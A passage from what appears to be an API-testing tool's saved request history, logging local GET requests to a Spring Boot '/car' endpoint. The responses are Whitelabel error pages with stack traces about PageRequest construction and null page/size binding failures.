org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\nCaused by: java.lang.IllegalArgumentException: Sort must not be null\\r\\n\\tat org.springframework.util.Assert.notNull(Assert.java:201)\\r\\n\\tat org.springframework.data.domain.PageRequest.\\u0026lt;init\\u0026gt;(PageRequest.java:47)\\r\\n\\tat sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)\\r\\n\\tat sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)\\r\\n\\tat sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)\\r\\n\\tat java.lang.reflect.Constructor.newInstance(Constructor.java:423)\\r\\n\\tat org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:211)\\r\\n\\t... 51 more\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":16.0,\"second\":20.0,\"nano\":2.688072E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"carId\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Array\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders.direction\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.Direction\",\"value\":\"ASC\"},{\"is_checked\":1.0,\"key\":\"sort.orders.property\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"key\":\"sort.orders.ignoreCase\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"boolean\",\"value\":\"false\"},{\"is_checked\":1.0,\"key\":\"sort.orders.nullHandling\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"org.springframework.data.domain.Sort.NullHandling\",\"value\":\"NATIVE\"},{\"is_checked\":1.0,\"key\":\"page\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"key\":\"size\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"int\",\"value\":\"1\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?sort.orders.nullHandling\\u003dNATIVE\\u0026sort.orders\\u003d\\u0026sort.orders.direction\\u003dASC\\u0026size\\u003d1\\u0026id\\u003d1\\u0026page\\u003d1\\u0026sort.orders.property\\u003d\\u0026sort.orders.ignoreCase\\u003dfalse\\u0026carId\\u003d\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:27:49 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003cdiv\\u003eFailed to instantiate [org.springframework.data.domain.PageRequest]: Constructor threw exception; nested exception is java.lang.IllegalArgumentException: Sort must not be null\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.data.domain.PageRequest]: Constructor threw exception; nested exception is java.lang.IllegalArgumentException: Sort must not be null\\r\\n\\tat org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:224)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:332)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\nCaused by: java.lang.IllegalArgumentException: Sort must not be null\\r\\n\\tat org.springframework.util.Assert.notNull(Assert.java:201)\\r\\n\\tat org.springframework.data.domain.PageRequest.\\u0026lt;init\\u0026gt;(PageRequest.java:47)\\r\\n\\tat sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)\\r\\n\\tat sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)\\r\\n\\tat sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)\\r\\n\\tat java.lang.reflect.Constructor.newInstance(Constructor.java:423)\\r\\n\\tat org.springframework.beans.BeanUtils.instantiateClass(BeanUtils.java:211)\\r\\n\\t... 51 more\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":27.0,\"second\":49.0,\"nano\":9.036719E8}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"\",\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?id\\u003d1\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:28:28 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 2\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 2 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;page\\u0026#39;: rejected value [null]; codes [typeMismatch.pageRequest.page,typeMismatch.page,typeMismatch.int,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.page,page]; arguments []; default message [page]]; default message [Failed to convert value of type \\u0026#39;null\\u0026#39; to required type \\u0026#39;int\\u0026#39;; nested exception is org.springframework.core.convert.ConversionFailedException: Failed to convert from type [null] to type [int] for value \\u0026#39;null\\u0026#39;; nested exception is java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type]\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;size\\u0026#39;: rejected value [null]; codes [typeMismatch.pageRequest.size,typeMismatch.size,typeMismatch.int,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.size,size]; arguments []; default message [size]]; default message [Failed to convert value of type \\u0026#39;null\\u0026#39; to required type \\u0026#39;int\\u0026#39;; nested exception is org.springframework.core.convert.ConversionFailedException: Failed to convert from type [null] to type [int] for value \\u0026#39;null\\u0026#39;; nested exception is java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)\\r\\n\\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\\r\\n\\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\\r\\n\\tat java.lang.Thread.run(Thread.java:748)\\r\\n\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":24.0},\"time\":{\"hour\":16.0,\"minute\":28.0,\"second\":28.0,\"nano\":2.62417E7}}},{\"url\":\"http://localhost:8080/car\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"id\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"Integer\",\"value\":\"1\"},{\"is_checked\":0.0,\"key\":\"\",\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:8080/car?id\\u003d1\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eMon Jun 24 16:28:36 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003cdiv\\u003eValidation failed for object\\u003d\\u0026#39;pageRequest\\u0026#39;. Error count: 2\\u003c/div\\u003e\\u003cdiv style\\u003d\\u0027white-space:pre-wrap;\\u0027\\u003eorg.springframework.validation.BindException: org.springframework.validation.BeanPropertyBindingResult: 2 errors\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;page\\u0026#39;: rejected value [null]; codes [typeMismatch.pageRequest.page,typeMismatch.page,typeMismatch.int,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.page,page]; arguments []; default message [page]]; default message [Failed to convert value of type \\u0026#39;null\\u0026#39; to required type \\u0026#39;int\\u0026#39;; nested exception is org.springframework.core.convert.ConversionFailedException: Failed to convert from type [null] to type [int] for value \\u0026#39;null\\u0026#39;; nested exception is java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type]\\nField error in object \\u0026#39;pageRequest\\u0026#39; on field \\u0026#39;size\\u0026#39;: rejected value [null]; codes [typeMismatch.pageRequest.size,typeMismatch.size,typeMismatch.int,typeMismatch]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [pageRequest.size,size]; arguments []; default message [size]]; default message [Failed to convert value of type \\u0026#39;null\\u0026#39; to required type \\u0026#39;int\\u0026#39;; nested exception is org.springframework.core.convert.ConversionFailedException: Failed to convert from type [null] to type [int] for value \\u0026#39;null\\u0026#39;; nested exception is java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type]\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.constructAttribute(ModelAttributeMethodProcessor.java:329)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.createAttribute(ModelAttributeMethodProcessor.java:220)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor.createAttribute(ServletModelAttributeMethodProcessor.java:85)\\r\\n\\tat org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:147)\\r\\n\\tat org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:122)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:179)\\r\\n\\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:146)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)\\r\\n\\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\\r\\n\\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071)\\r\\n\\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:670)\\r\\n\\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\\r\\n\\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:779)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\\r\\n\\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189)\\r\\n\\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)\\r\\n\\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197)\\r\\n\\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97)\\r\\n\\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541)\\r\\n\\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135)\\r\\n\\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\\r\\n\\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)\\r\\n\\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360)\\r\\n\\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)\\r\\n\\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)\\r\\n\\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)\\r\\n\\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1789)\\r\\n\\tat 